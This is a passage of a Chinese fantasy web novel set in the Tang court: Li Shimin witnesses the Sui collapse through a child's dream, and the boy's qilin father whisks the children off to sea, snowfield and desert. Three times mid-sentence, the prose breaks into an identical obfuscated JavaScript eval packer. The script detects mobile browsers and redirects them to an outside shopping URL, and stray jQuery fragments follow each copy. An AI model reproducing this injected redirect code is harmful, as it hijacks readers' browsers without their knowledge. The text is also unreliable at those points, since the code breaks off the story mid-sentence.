尉迟敬德喉结滚动,半晌,才用比刚才低沉许多的声音道:“小郎君,打仗,很多时候,是没法子。别人要来毁你的家,伤你的亲人,你不得不拿起刀枪。赢了……是能保住自己的家
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114025|195893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。可你说的对,输的那边……”
他重重叹了口气,没再说下去。
李靖接过话,声音缓慢而清晰,像是在对景颐说,也像是在对自己说:
“所以,为将者,手中虽握利刃,心中当存悲悯。上兵伐谋,其次伐交,其次伐兵,其下攻城。若能不战而屈人之兵,保得两方百姓安宁,方是上策。然世间事,往往难以尽如人意。”
他看着景颐清澈见底的眼睛,目光温和,“小郎君能怜惜蚂蚁,此心甚善。望你永葆此心。”
景颐听得半懂不懂,但保住自己的家、让百姓安宁他是明白的,觉得这很对,便用力点了点头。
他心思跳得快,刚才的沉重感转眼就飞了,鼻尖忽然动了动,凑近尉迟敬德嗅了嗅,又退后一步,皱着鼻子小声嘀咕:
“将军身上……有股味儿,像铁,像皮子,还有点尘土和汗的味道。唔……我昨晚做梦,好像也闻到过类似的,吵吵闹闹的,好多人在喊,马在叫,还有这个味道……”
他纯粹是联想,说完自己也没在意。却不知这话听在尉迟敬德和李靖耳中,不亚于一声惊雷!
两人再次对视,眼中俱是惊疑不定。陛下近来深锁的眉头、对这孩子超乎寻常的关照、那些隐约流传的仙缘、异梦之说……
刹那间似乎都有了模糊却骇人的指向。
李靖迅速敛去异色,对景颐温言道:“梦中所闻,多是虚妄,日有所思罢了。小郎君不必放在心上。今日与我们说的话,也莫要再与旁人提起,记住了吗?”
景颐见他们又严肃起来,虽然觉得大人们变脸真快,还是乖乖点头:“哦,记住了。”
这时,一直跟在后面的嬷嬷适时上前,恭敬行礼后,对景颐柔声道:“小郎君,时辰不早,该回去用点心啦。”
景颐这才想起自己原本是要去看算盘的,被这一打岔全忘了。他有点遗憾,但对两位将军摆摆手:“将军再见!我回去吃点心啦!”
看着那小小的身影跟着嬷嬷走远,尉迟敬德摸着胡子,咂咂嘴:“这孩子……有点邪性。话问得人心里发毛。”
李靖望着景颐消失的方向,目光深远:“非是邪性,是灵性通透,不染尘滓,故能言常人所不能言,见常人所不愿见。陛下将他置于宫中,礼敬有加,恐非无因。”
他顿了顿,“今日之语,你我要斟酌,禀于陛下。”
“某晓得。”
两位国公转身离去,身影没入皇城巍峨的殿宇阴影中。而关于算盘的初版模型,此刻正在户部某间值房内,被几个绞尽脑汁的吏员围着。
那是一个粗糙的长方形木框,横着固定了数根细竹竿,竹竿上串着打磨得不甚圆润的木珠,上下分档,能拨动,却无人真正明白该如何用它“又快又准”地计算。
景颐回到凝云轩,吃着新送来的桂花蓉馅儿点心,早把算盘和将军都抛在了脑后。
他全然不知,自己那番关于蚂蚁与战争的稚语,连同最后那句关于梦中之吵的随口嘀咕,在不久之后,通过尉迟敬德与李靖之口,作为一件有趣又略显特别的轶事,传入正在两仪殿对着舆图沉思的李世民耳中。
16. 第 16 章
景颐那句“做梦闻到打仗味道”的话,当日傍晚便由尉迟敬德与李靖斟酌着言辞,禀报给了李世民。
李世民正在批阅一份关于山东赈灾的奏疏,闻言,朱笔在“流民安抚”四字上悬停良久,墨迹晕开一小团阴影。
“我知道了。”他最终只是淡淡应了一句,挥退了二人。
殿内重归寂静。烛火跳跃,将李世民的身影拉长,投在身后那幅巨大的《九州山河图》上。他起身,踱至图前,目光掠过蜿蜒的黄河、起伏的太行,最终落在关东那片广袤平原上。
隋末。
这个念头像蛰伏已久的兽,猛地探出利爪,攥住了他的心脏。
他怎么会不记得?他的少年时代,便是踩着前朝崩塌的余烬走来的。
他见过饿殍载道,见过烽烟蔽日,见过父亲李渊在晋阳起兵前夜书房里彻夜不灭的灯火,更亲手终结了那个混乱的时代。
那是刻在骨血里的记忆,是大唐之所以为唐的沉重前因。
他一直避免去深想。身为新朝的皇帝,他更愿意将目光投向未来,缔造属于自己的贞观。
可近来,溯梦所示,未来有安史烽火,现实所感,皇后健康堪忧。如今,连景颐这孩子都能闻到战争的余味,甚至牵引出他内心最深处关于王朝为何会亡的恐惧。
有些东西,避无可避。
或许,他需要的不是逃避,而是,更清晰地审视。看清楚那深渊究竟是如何形成的,才能确保自己,以及自己的子孙,不会重蹈覆辙。
这个念头一旦生起,便如同燎原星火,再也无法扑灭。
三日后,李世民处理完紧要政务,借口“心神不宁,需静养半日”,摆驾凝云轩。他没有带任何侍从,只身一人踏入那片翠竹环绕的院落。
长琴正在廊下抚琴。弹的并非安流章,亦非地脉回响,而是一曲李世民从未听过的、古朴苍茫的调子,音律间仿佛有金戈铁马之声隐约可闻,却又被更宏大的、宛如大地叹息般的低鸣所笼罩。
没在玩耍,而是罕见地趴在长琴脚边的蒲团上睡着了。小家伙怀里还抱着那块响岩,小脸侧枕着石面,睡得正香,鼻息均匀。那地光藓的陶罐就放在他手边。
“仙长。”李世民驻足,低声唤道。
琴声未停,长琴抬眸看了他一眼,指尖韵律未变,只微微颔首。
“我今日前来,是想……”李世民顿了顿,目光落在景颐安睡的侧脸上,“景颐前日偶遇敬德、药师,提及梦中闻得战阵喧嚣。我近来亦常思及前朝旧事,心中难安。”
他走到廊下,在长琴对面坐下,隔着袅袅琴音与沉睡的孩童,缓缓道:“仙长曾言,溯梦所映,多与梦主心念深切相关。我想……”
他深吸一口气,像是做出了某个重大的决定,“我想借景颐之力,再看清楚一些。看看那场导致前朝崩解的乱局,究竟始于何处,又终于何因。非为猎奇,实为镜鉴。”
长琴的琴声在此刻转了一个极其低沉幽微的音。他指尖按弦,余音在竹叶间萦绕不散。
“陛下欲观隋末?”长琴的声音平静无波,却仿佛看穿了李世民平静外表下的惊涛骇浪,
“此非美景,更非吉兆。其中血火离乱,众生悲苦,恐非常人所能承受。陛下当真要看?”
“要看。”李世民答得斩钉截铁,目光灼然,“知其所以败,方能避其所以祸。我既承天命,抚有四海,便不能蒙昧于前车之鉴。纵使是修罗场,是无间景,我也需亲眼看一看。”
长琴沉默片刻,目光垂落,看向脚边沉睡的景颐。孩子无知无觉,抱着温润的响岩,仿佛抱着一个安稳的梦。
“景颐今日玩闹疲乏,此刻睡意正沉,灵台空明,易于交感。陛下若心意已决,此刻便是时机。”长琴道,
“然,梦境无涯,神魂有寄。陛下需谨守灵台一点清明,只作壁上观,切莫沉溺其中,更不可妄动干预之念。否则,梦境反噬,恐伤及陛下与景颐心神。”
“我明白。”李世民郑重点头。他走到景颐身侧,小心地在那蒲团边坐下。孩子身上传来淡淡的奶香和草木清气,怀中的响岩发出极微弱的、平稳的嗡鸣。
长琴不再多言。他指尖轻抬,重新落于琴弦,这一次,流淌出的旋律更加低沉、缓慢,宛如一条无形的绳索,温柔地缠绕在沉睡的景颐与静坐的李世民周围。
那旋律并不激昂,却带着一种奇异的牵引力,仿佛在平静的水面下,打开了通往深海的甬道。
李世民闭上眼,调整呼吸,将手轻轻覆在景颐抱着响岩的小手上。孩子的肌肤温软,脉搏平稳。
起初,是熟悉的黑暗与混沌。
随即,无边的喧嚣如同决堤的洪水,轰然涌入!
洛阳,天津桥。
李世民站在熙攘的人流中,却无人能看见他。眼前的洛阳城,与他记忆中的、也与如今百废待兴的洛阳截然不同。
城池空前宏伟,宫阙连绵如云,运河上千帆竞渡,码头上堆积如山的锦缎、瓷器、香料在阳光下反射着令人目眩的光。
胡商穿着奇装异服,高声叫卖;士女罗绮满身,环佩叮当;酒楼丝竹之声不绝于耳,空气中弥漫着浓烈的酒香与脂粉气。
极盛。极奢。极繁华。
然而,在这令人窒息的繁华表象下,李世民却听到了别的东西。
他听到搬运巨木石材的役夫沉重的喘息和压抑的呻吟,看到他们黝黑脊背上被烈日炙烤出的层层盐霜与新旧鞭痕。
他听到运河岸边,有老妪望着远去的粮船低声啜泣,念叨着被征去挖河的独子“三月无音讯”。
他看到市井深处,衣衫褴褛的乞儿争抢着酒肆泼出的残羹,眼神麻木而凶狠。
画面流转。
江都宫,迷楼。
丝竹宴乐之声靡靡不绝,酒池肉林,穷极奢华。
高台之上,一个身着明黄袍服、面容依稀能辨出年轻时俊朗、此刻却浮肿苍白、眼神涣散的帝王,正搂着美姬,醉眼朦胧地欣赏着殿中仿照仙境布置的奇景异戏。阶下群臣或谄媚附和,或低头掩目。
李世民看见有内侍匆匆上前,低声禀报什么,面色惶急。杨广不耐烦地挥手,将一杯美酒泼在内侍脸上:“扫兴!些许流民,也敢坏朕雅兴?令郡县剿灭便是!”
“流民……”李世民心中一沉。
场景骤然切换。不再是具体的宫殿城池,而是无数破碎的画面与声音交织成的洪流。
山东、河南,千里沃野,赤地千里。
龟裂的土地上,倒伏着饿殍,乌鸦盘旋。幸存的百姓面如菜色,眼神空洞,拖家带口,像沉默的蚁群,向着未知的方向蠕动。
有人低声唱着哀戚的歌谣:“譬如辽东死,斩头何所伤……”①
辽东,风雪凛冽。无数衣衫单薄的士兵在泥泞和严寒中跋涉,冻饿而死者相枕于道。
将领的呵斥、皮鞭的呼啸、伤兵的惨叫,与呼啸的北风混成一曲地狱悲歌。高句丽人的城堡在远处山峦上沉默矗立。
晋阳,唐国公府书房。一个面容沉稳、目光锐利的中年人正与几个心腹和年少的自己密议,烛火将他们的影子巨大地投在墙壁上,气氛凝重而紧张。
李世民甚至能听到父亲心中那份沉重的决断与对未来的忧虑。
瓦岗寨,大旗猎猎。李密、翟让等人意气风发,下方是望不到头的、虽然衣衫褴褛却眼神炽热的起义军。篝火映照着他们年轻而充满反叛精神的脸庞。
“罄南山之竹,书罪无穷;决东海之波,流恶难尽!” 讨隋檄文的声音如同惊雷,滚过原野。②
江都,最后的时刻。曾经奢华的宫殿陷入混乱与火光。叛将宇文化及狞笑着逼近,杨广颓然坐倒,曾
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114026|195893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
经匍匐在他脚下的宫人四散奔逃,珠宝珍玩散落一地,被践踏成泥。
中原大地,烽烟四起。薛举、窦建德、王世充……一个个枭雄乘势而起,互相攻伐。城池易主如走马灯,今日的将军,明日的囚徒。
百姓在夹缝中哀嚎,田野荒芜,十室九空。白骨露于野,千里无鸡鸣。③
这不是一场战争,而是一个庞大帝国从内部彻底腐烂、崩塌、然后被各路势力疯狂撕扯吞噬的全过程。
李世民像一个被迫悬浮在空中的幽灵,目睹着这令人窒息的一切。他看到了父亲起兵的不得已与必然,看到了那些枭雄的野心与局限,更看到了……
那被压在一切之下的、沉默的、却最终颠覆了一切的力量——民心。
是杨广无休止的征役榨干了民力,是穷奢极欲耗尽了国本,是刚愎自用堵塞了言路,是对百姓苦难的漠视最终点燃了燎原大火。
“君者,舟也;庶人者,水也。水则载舟,水则覆舟。” ④
荀子的古训,从未像此刻这般,带着淋漓的鲜血和冲天的怨气,砸在他的灵台之上!
梦境最后,定格在一片荒芜的田野。一个面黄肌瘦、失去双亲的孩童,呆呆地坐在自家倒塌的茅屋前,手里攥着一把干瘪的谷穗,眼神空洞,望着远处尚未散尽的硝烟。
那眼神,与景颐描述输了的小蚂蚁时的难过,奇异地重叠在一起。
李世民猛地从蒲团上弹起,胸膛剧烈起伏,如同离水的鱼般大口喘息。冷汗瞬间湿透重衣,眼前阵阵发黑,耳中似乎还回荡着乱世的厮杀与悲鸣。
“陛下。”长琴的琴声早已停止,他递过一盏温热的清茶,声音依旧平稳,却带着一丝不易察觉的探查。
李世民接过茶盏的手微微颤抖,几滴茶水泼洒出来。他一饮而尽,温热的液体滑过喉咙,才稍微压下了那股源自灵魂深处的寒意与悸动。
他低头,看向身边。景颐不知何时已经醒了,正揉着眼睛坐起来,小脸上带着刚睡醒的懵懂,但眉头也微微皱着,似乎睡得并不安稳。
“师父,李叔叔,”景颐嘟囔着,声音带着睡意,“我好像做了个很长很吵的梦……好多人在哭,在喊,还有火烧房子的味道……难闻死了。”
他嫌弃地皱皱鼻子,抱紧了怀里的响岩,仿佛那是唯一的安慰。
李世民看着孩子纯真犹存、却已沾染上一丝惊悸的小脸,心中五味杂陈。是他,将这孩子卷入了如此沉重黑暗的历史洪流之中。
他伸出手,想摸摸景颐的头,指尖却在半空停住。最终,他只是轻轻拍了拍孩子的肩膀,声音沙哑却无比郑重:“景颐,不怕。梦已经醒了。”
景颐点点头,依赖地往长琴身边靠了靠,又好奇地看着李世民苍白的脸:“李叔叔,你的梦也很吵吗?你的脸好白。”
“嗯,很吵。”李世民扯出一个极淡、极疲惫的笑,“所以,我们要努力,让以后的人,少做这样吵的梦。”
他站起身,身形微微晃了一下,随即站稳。对着长琴深深一揖:“多谢仙长护持。今日……我受教了。”
长琴还礼:“陛下能安然归来,便是幸事。此梦沉重,需时日化解。”
李世民不再多言,转身,一步步走出凝云轩。午后的阳光依旧炽烈,照在他身上,却驱不散骨髓里透出的寒意。
他的脚步很慢,却很稳。背影在阳光下,被拉得很长,仿佛承载了刚才梦境中那无数亡魂的注视,以及一个崭新而无比沉重的觉悟。
他知道自己接下来该做什么了。不仅要避免那未来的安史之乱,更要从根源上,杜绝任何一个可能让大唐滑向隋末深渊的苗头。
镜已鉴,路在前。
而凝云轩内,景颐正缠着长琴,小声抱怨那个又吵又难闻的梦,浑然不知自己刚刚成为了怎样一面映照古今兴亡的、奇异的镜子。
17. 第 17 章
隋末的梦魇,如附骨之疽,紧紧缠绕着李世民意识。
连续三日,他批阅奏章时,眼前会闪过运河边堆积的、被苍蝇环绕的民夫尸体;饮茶时,舌尖仿佛尝到饥民嚼食树皮的苦涩;甚至夜间握住观音婢温热的手时,指腹会莫名感到一丝梦中那双逐渐冰冷的手的触感。
这恐惧不同以往。战场上的尸山血海是直白的、可理解的,而这梦境展示的,是盛世如何从内部一寸寸腐烂的过程。
没有具体的敌人,只是一种趋势,一种氛围,一种一旦滑入就万劫不复的深渊引力。
这段时日,他少言寡语,朝会上常常凝神细听,目光却穿透殿宇,望向某个虚空。直到魏征又一次就某地刺史略有奢侈之事慷慨进谏,言辞间提到“前隋之鉴,岂不痛哉”,李世民才骤然回神。
“玄成所言极是。”他声音有些干涩,“非止刺史。自朕以下,三省六部,诸卿与朕,当时时以此痛哉为镜,日日拂拭,勿使蒙尘。”
殿内一片寂静。陛下很少在朝堂上如此直接地肯定这种刺耳的谏言,更少用如此沉重的语气提及前隋。
房玄龄与长孙无忌交换了一个眼神,心中了然,陛下这几日的异常,根源在此。
下朝后,李世民将自己关在两仪殿偏殿,对着那幅巨大的疆域图看了整整一个时辰。图上江河脉络、州县棋布,是他半生征战的成果,也是他未来必须守护的一切。
“不能只守……”他低声自语,指尖从长安划向四方,“要让它,活得更好。”
他召来了最核心的几位大臣。没有过多的解释,只将一份他连夜草拟、墨迹犹新的条陈推了过去。
上面是他基于梦境启示,结合以往思考,提出的几个最急迫的调整方向。
条陈上的想法尚显粗粝,甚至有些理想化。但房玄龄等人接过时,手都有些微颤。
他们看到的不仅是几条政策调整,更是一种态度的彻底转变。
陛下不再仅仅满足于平定四方,仓廪渐实,他开始真正深入地、带着某种焦灼的警惕,去思考如何筑牢根基,杜绝隐患。
争论是激烈的。魏征直指某些条款仍嫌宽纵,长孙无忌担心触动既得利益恐生波澜,房玄龄则用枯燥的数字推演着可能引发的连锁反应。
李世民大部分时间只是听,偶尔插言,往往一针见血。他不再像年轻时那样急于求成、强行推动,而是展现出一种可怕的耐心与冷静,仿佛在下一盘必须步步为营、不能有丝毫差错的棋。
会议从午后持续到宫门下钥。
最终,几条最核心的修订艰难达成共识。虽然只是微调,远未触及根本,但李世民知道,这只是开始。他已在那个庞然巨物的齿轮间,楔入了第一颗属于贞观的、带着清醒痛感的钉子。
臣子们退去时,殿内只剩下他一人,和满室摇曳的烛火。疲惫如潮水般涌来,但他眼中却有火光在跳动。对抗那无形深渊的第一步,他已经迈出。
他没有立刻回立政殿,而是信步走至殿外高台。夏夜的风带着暑气,吹动他汗湿的后襟。他望着长安城稀落的灯火,忽然想起景颐那双总是亮晶晶的、对一切都充满好奇的眼睛。
那孩子,是否也能看到,他这位李叔叔,正在为一个可能永远不会发生的未来噩梦,而彻夜难眠、殚精竭虑?
这个念头让他心中微微一动,泛起一丝难以言喻的复杂情绪。有沉重,也有那么一点点慰藉。
——
立政殿内,长孙皇后轻轻剪去烛花。
她已知晓陛下近几日的异常,也察觉了那份无声的沉重。
她未曾多问,只是吩咐小厨房每日备上清心安神的汤饮,将殿内香换成更宁神的苏合香,在陛下凝神独坐时,悄然为他披上一件外袍。
今夜,她等到很晚。直到宫人禀报陛下已从两仪殿出来,往凝云轩方向去了片刻又折返,最终歇在了甘露殿,她才微微松了口气。
她走到窗边,望向凝云轩的方向。夜色中,那里一片静谧。
她想起那日陛下从凝云轩归来后,对她身体超乎寻常的关切与那些小心翼翼的叮嘱,心中已隐约猜到了什么。
她不惧生死,却怕成为他的负累,更怕他因担忧而失了方寸。
“景颐那孩子……”她轻声自语,唇角泛起温柔的弧度。
那孩子的到来,似乎让许多事情变得不同了。他的赤诚,他的奇异,或许正是上天给予陛下的一份另类的启示与陪伴。
她希望,无论未来有何等风浪,那孩子都能如今日这般,眼眸澄澈,笑声朗朗。
——
凝云轩,午后。
竹林滤下斑驳光影,蝉声在八月达到鼎盛,嘶鸣不绝。
景颐正经历一场“重大挫折”。
他试图教一只新得的、羽毛艳丽无比的鹦鹉说“师父最棒”,结果鹦鹉学会了“点心最好”,并对此坚定不移,气得他直跳脚。
丽质和李治在一旁笑得前仰后合。丽质近日开始正式习《礼记》和琴艺,偶尔来寻景颐,便觉是难得的放松。李治则纯粹是兄长阿姊笑,他也跟着乐。
长琴不在轩中。三日前,他感知到西北方向有一丝极其微弱的、与《鸣岐谱》残章韵律隐隐呼应的地脉波动,虽飘渺难追,仍决定亲往探查一二,预计需数日方归。
行前对景颐千叮万嘱,更在凝云轩内外加固了守护结界。
此刻轩内,只有孩童的嬉闹声,和那只固执鹦鹉的聒噪。
“不对!是‘师、父、最、棒’!不是‘点心最好’!”景颐对着鹦鹉,一字一顿,试图掰正。
鹦鹉歪着头,绿豆眼盯着他,清脆重复:“点心最好!点心最好!”
丽质忍笑,拿起一块糕点逗弄鹦鹉:“你说‘公主最美’,就给你吃。”
鹦鹉扑棱一下翅膀,毫不犹豫:“点心最好!”
三个孩子又是一阵大笑,连伺候的嬷嬷都背过身去,肩膀微耸。
玩闹半晌,丽质有些渴了,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114027|195893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
嬷嬷便去取饮子。李治玩累了,靠着一丛翠竹,小脑袋一点一点,开始打瞌睡。景颐则和鹦鹉大眼瞪小眼,陷入了语言教学的僵局。
就在这寻常午后,最松懈的一刻。
轩外竹林小径上,空气似乎被正午阳光晒得微微扭曲了一瞬。
一个身影,仿佛从这扭曲的光线中自然而然地“析”了出来。
那人瞧着二十七八年纪,身量颇高,穿着一身料子极好、样式却混搭得随心所欲的夏衫。
料子是江南的冰蚕丝,凉爽透气,款式却像改良过的胡服,窄袖收腰,便于活动,外罩一件薄如蝉翼、绣着奇异星纹的纱罗大氅,松松垮垮披着。
他肤色是健康的蜜色,鼻梁高挺,眉眼生得极好,尤其是那双眼睛,顾盼间神采流转,仿佛盛着四海的风与阳光,嘴角天然噙着一丝洒脱不羁的笑意。
他手里甚至还拿着一把不知从哪个胡商摊上淘来的、绘着夸张西域美人的团扇,有一下没一下地扇着,脚步悠闲得仿佛在自家后院散步。
他就这么晃悠着,径直走到了凝云轩那无形的守护结界前,歪头看了看,嘴里“啧”了一声,然后,伸出扇子,像拨开门帘一样,对着那层连寻常修士都难以察觉、更遑论破解的结界,随手一划。
结界就如同被热刀切开的牛油,悄无声息地滑开一道缝隙。那人施施然迈步进去,结界在他身后迅速弥合,完好如初。
他脚步轻快,转眼就到了轩内主屋前的回廊下。景颐正背对着他,锲而不舍地教育鹦鹉。丽质恰好转头取帕子,一眼瞥见了这个突兀出现的陌生人,惊得手中帕子都掉了。
“你……”丽质刚想开口。
那人却将食指竖在唇边,对她眨了眨眼,做了个“嘘”的口型。那眼神带着令人难以抗拒的亲和与狡黠,丽质下意识捂住了嘴,惊疑不定地看着他。
那人目光已落到背对他的景颐身上,眼中笑意更盛,大步上前。
景颐正全神贯注对付鹦鹉,忽觉一片带着阳光暖意的阴影罩下,还未及回头,一只温暖的大手已落在他头顶,胡乱揉了一把。
“谁啊!”景颐被揉得脑袋一歪,没好气地转身。
然后,他撞进了一双亮得惊人的眼眸里。
那眼睛的颜色,竟和他自己情绪激动时,隐约流转的金芒有几分相似,只是更加深邃、更加亲切。
那人蹲下身,视线与他齐平,脸上笑容灿烂得晃眼,上下打量着他,又伸手戳了戳他的脸,发出不知道从哪儿学来的口音:
“哟,这谁家娃儿嘞?长得真俊!”
景颐懵:“你谁啊?”
青年一咧嘴,字正腔圆:“我恁爹!”
景颐:“???”
那只鹦鹉也被吸引了注意力,扑棱着翅膀,歪头看着新出现的两脚兽,忽然扯开嗓子,字正腔圆地学舌:
“我、恁、爹!”
“我、恁、爹!”
“点、心、最、好!我、恁、爹!”
18. 第 18 章
“我、恁、爹!”
景颐:“???”
丽质:“……啊?”
丽质彻底呆住了,掉落的帕子都忘了捡。
靠在竹子上半睡半醒的李治被这突如其来的声音惊得一哆嗦,茫然睁眼。
霄乐得哈哈大笑,伸手揉了揉景颐一头卷毛,又顺手刮了下李治的鼻子:“小娃娃吓到了吧!”
他完全没管旁边宫女嬷嬷们惊疑不定、欲上前又不敢的神色。
“不对,”景颐皱着小眉头,努力思考,“我爹、我爹是麒麟,出门云游去了。”
“巧了么不是?”霄一拍大腿,凑近些,压低声音,神秘兮兮地说,“你爹我,就是那出门云游的麒麟啊!刚回来,听说我儿在宫里混得风生水起,特来瞧瞧!”
说着,他指尖倏地窜起一簇极小的、温暖的金色火苗,火苗扭了扭,变成一只迷你的、活灵活现的小麒麟虚影,绕着景颐飞了一圈,亲昵地蹭了蹭他的脸颊,才“噗”地散成光点。
景颐眼睛“唰”地亮了!这气息!这感觉!虽然模样变了,但那血脉里的亲近和同源的力量骗不了人!
他瞬间抛去了所有疑惑,欢呼一声扑过去:“爹!你真回来啦!”
霄稳稳接住儿子,抱起来掂了掂:“重了!看来皇帝家伙食不错!”
他转头对还在发懵的丽质和李治招手,“你俩,景颐的小伙伴?一起来!伯伯带你们去玩点有意思的,比教鹦鹉说话强一万倍!”
丽质虽觉这伯伯出现得蹊跷,言语古怪,但见景颐如此亲昵欢喜,又看他方才露的那手绝非寻常,心中好奇压过了警惕。
李治更是早已被那手火苗变麒麟的戏法征服,觉得这伯伯比变戏法的胡人厉害多了,迈着小短腿就想过去。
“公主殿下,九殿下,使不得……”嬷嬷急得低声劝阻。
霄却已经一手抱着景颐,另一只手随意一挥。
一股柔和却不容抗拒的清风拂过,丽质和李治只觉得身子一轻,周围的景物微微模糊了一下,下一瞬,他们已经站在了一块巨大的、被海浪拍打得光滑潮湿的黑色礁石上。
咸腥而湿润的海风扑面而来,耳边是震耳欲聋的轰隆巨响。
眼前,是一片望不到边际的、灰蓝色的浩瀚海洋。
巨浪层层叠叠,从视线尽头奔涌而来,狠狠撞在脚下的礁石上,炸开漫天雪白的泡沫,阳光下映出小小的彩虹。
“啊!”丽质惊呼一声,下意识抓住了旁边霄的衣角。李治吓得小嘴一瘪,却被眼前从未见过的壮阔景象惊呆了,忘了哭。
“怎么样?比御花园的池子带劲吧?”霄把景颐放下,自己叉腰站在礁石最前沿,任凭浪花溅湿衣摆,豪气干云地念道,
“东临碣石,以观沧海!这诗写的就是这儿!不过光看没意思。” 他手指向远处海面,“看那边!”
只见他指尖一点,远海处一道水柱冲天而起,在阳光下折射出七彩光华,隐约可见巨大黑影在水柱下一闪而过。
“是鲸!”霄大声道,“海里最大的鱼!翻身就能掀起大浪!”
孩子们看得目不转睛,心中震撼无以复加。从精致婉约的宫廷,突然置身于这原始磅礴的自然伟力面前,那种冲击感难以言喻。
“海看够了没?带你们去个凉快地方!” 霄不等他们回答,哈哈一笑,袖袍再展。
场景骤变!
震耳的海浪声瞬间消失,取而代之的是一种极致的、空旷的寂静。刺眼的阳光被柔和的、漫反射的雪光取代。
他们站在一片无垠的雪原上,天地间唯有纯净的蓝与白。
远处有连绵的雪山,头顶是澄澈得仿佛触手可及的蓝天,冷冽清新的空气吸入肺腑,激得孩子们打了个小小的喷嚏,却不觉得寒冷,周身暖洋洋的,仿佛裹在无形的暖被里。
“这是北边,冬天才有的景致。”霄抓起一把雪,随手一捏,变成两只晶莹剔透、活蹦乱跳的小雪兔,放到丽质和李治手心。小雪兔蹭了蹭李治的手指,化成一股凉意散去。
“沙子!堆沙子!”景颐在雪地里打了个滚,兴奋地喊。
“沙子?有!”霄从善如流,第三次挥袖。
热浪袭来。前一刻的严寒瞬间变为干燥的灼热。他们站在一片金黄色的沙丘之上,目之所及,沙丘如凝固的金色波涛蔓延到天际。
一轮浑圆的落日正缓缓沉入地平线,将天地染成一片壮丽的血红与橙金。风过沙丘,发出低沉悠长的呜鸣,如泣如诉,如古老的歌谣。
“玉门关外。”
霄的声音在风沙中也带上了一丝苍凉,随即又雀跃起来,“沙子不光会叫,还会烫脚!不过有伯伯在,烫不着你们!”
他随手从沙地里变出几个皮薄多汁的甜瓜,分给孩子们。在这极端干燥之地,瓜果的清甜格外沁人心脾。
丽质小口吃着瓜,看着眼前变幻的、不可思议的景象,忽然小声问:“伯伯……我们还能回去吗?”
“回!当然回!”霄啃着瓜,含糊道,“就是带你们开开眼,天地大着呢,别总窝在一小片院子里。你,”
他指着丽质,“将来要嫁人,可能就去很远的地方。你,”
又指李治,“要当……呃,反正也可能去很多地方。还有我儿,更是要跟着他师父走遍天下的。早点看看,没坏处!”
他说话随心所欲,却让丽质似懂非懂地点了点头。
景颐早已玩疯了,在沙丘上滚来滚去,又央着霄:“爹!再来一个地方!”
“再来一个?行啊,我想想……”
霄正琢磨着下一个去处,脸色忽然微微一变,抬头望向长安方向,咂咂嘴:“啧,来得真快……”
话音未落,沙漠黄昏那绚烂的天空,仿佛被一只无形的手从中撕开一道裂缝。凛冽的、与沙漠燥热截然相反的清寒气息弥漫开来。
青衣拂动,长琴一步从裂缝中踏出,面覆寒霜,琉璃色的眼眸中蕴含着显而易见、几乎要化为实质的怒意。
他目光扫过安然无恙却身处大漠的三个孩子,最后死死锁在霄身上。
“霄!” 长琴语气里带着罕见的气愤,瞬间压过了风声。
“哎呦!长琴!巧啊!你也来赏落日?”霄立刻换上灿烂无比、却怎么看怎么心虚的笑容,下意识把半个瓜藏到身后。
“巧?”长琴气极反笑,身影倏忽消失,再出现时已在霄面前,指间清光缭绕,毫不留情地朝他背处敲去,
“擅动灵力,携凡人幼童跨越时空,置其于险地而不顾。你这些年云游,只长了胆子,没长脑子么?!”
那清光看似柔和,落在霄身上却发出“啪”一声脆响,不伤筋骨,却疼得他龇牙咧嘴,原地跳脚:“轻点!轻点!我错了!我看着呢!一点危险没有!就是带他们看看世面……”
“看看世面?”长琴又是一下,这次敲得更重,“时空乱流,气运扰动,天地伟力之侧,是他们这般年纪能承受的?!若有丝毫差池,你待如何?!”
霄被揍得抱头鼠窜,毫无神兽威严,嘴里讨饶不止:“真没事!我护着呢!你看他们不好好的嘛……哎哟!”
趁长琴低头查看被这动静吓得有点呆住的孩子们是否真的无恙时,霄眼中精光一闪,以迅雷不及掩耳之势,将身旁的景颐抱起来往长琴臂弯一塞,又把丽质和李治往长琴身侧一推。
“消消气!孩子还你!我下次注意!”他语速飞快,同时对三个孩子挤眉弄眼,“伯伯走啦!下次再带你们玩更好玩的!”
说罢,周身金光爆闪,化作一道细线,“咻”地一声钻入还未完全合拢的时空裂缝,逃之夭夭,速度快得连残影都没留下半道。
“你——!”
长琴一手抱着景颐,又要顾着丽质和李治,眼睁睁看着那金光消失在裂缝深处,终究没去追。裂缝迅速弥合,沙漠夜空恢复原状,只剩风声呜咽。
他闭了闭眼,强压下心头翻腾的怒火与无奈。先低头检查三个孩子。
景颐眼睛还望着爹消失的方向,有点不舍,又有点怕师父生气,小声道:“师父,爹他……”
